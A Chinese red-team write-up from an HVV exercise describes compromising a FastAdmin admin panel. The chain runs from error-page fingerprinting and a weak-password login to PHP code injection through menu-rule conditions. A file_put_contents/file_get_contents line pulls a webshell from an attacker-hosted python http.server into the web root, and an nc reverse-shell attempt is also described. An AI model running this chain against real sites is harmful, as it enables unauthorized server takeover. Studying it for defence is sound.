文章目录
一、FastAdmin 介绍
FastAdmin 是基于ThinkPHP5和Bootstrap的极速后台开发框架。 基于ThinkPHP行为功能实现的插件机制,拥有丰富的插件和扩展,可直接在线安装卸载 。 基于完善的Auth权限控制管理、无限父子级权限分组、可自由分配子级权限、一个管理员可同时属于多个组别 。
二、测试过程
在某次HVV的打点过程中,发现某资产为FastAdmin搭建。
下图为FastAdmin的报错页面,根据经验可判断该网站为FastAdmin搭建。
输入admin.php进入后台登录页面,弱口令进入后台。
进入后台找功能点getshell。后台默认会有插件管理功能,但是我们在后台没有找到这个功能,我们直接访问插件管理的地址
插件管理地址: /admin/addon?ref=addtabs
理论上离线安装 Fileix文件管理器 ,然后上传一句话木马就可以getshell,但是很可惜失败了。
接着翻后台,发现有定时任务功能,尝试反弹shell,写入反弹shell的语句后,在服务器上nc监听等待回连,但是发现并没有执行。
后面一看之前管理员设置过的定时任务也没有执行过,失败!
继续翻后台,发现在菜单规则中可以创建规则条件,尝试在功能点中写入phpinfo()
必须写在权限管理中!!!
然后来到管理员管理中,添加一个管理员。
所属组别必须为二级管理员组!!!
添加完成之后,重新用新添加的账户登录后台,可以发现phpinfo()被成功执行。
通过搜索$_SERVER[‘DOCUMENT_ROOT’]获取网站根目录,为/www/wwwroot/xxxxxxxxx/
找到根路径后注销账户,准备一个webshell木马名为1.php,放在自己的服务器上,使用python启动一个临时web。
python3 -m http.server 8080
在回到管理后台当中,在同样的位置写入如下语句,将远程服务器的webshell木马下载到网站根目录。
file_put_contents('/www/wwwroot/xxxxxxxxx/shell.php',file_get_contents('临时web地址/1.php'))
保存完成后,再次使用刚才新创建的用户登录
webshell木马已被成功写入。
三、总结
在打点过程中, 通过指纹识别软件进行指纹识别进行相应的漏洞利用,在未识别出指纹的需人工判断,根据报错页面的样式识别指纹一种较好的方法。
整体打点过程:浏览网站—>发现报错页面指纹为FastAdmin—>通过弱口令进入后台—>规则条件中写入phpinfo()—>获得网站根目录—>规则条件中写入webshell
版权归原作者 culprits 所有, 如有侵权,请联系我们删除。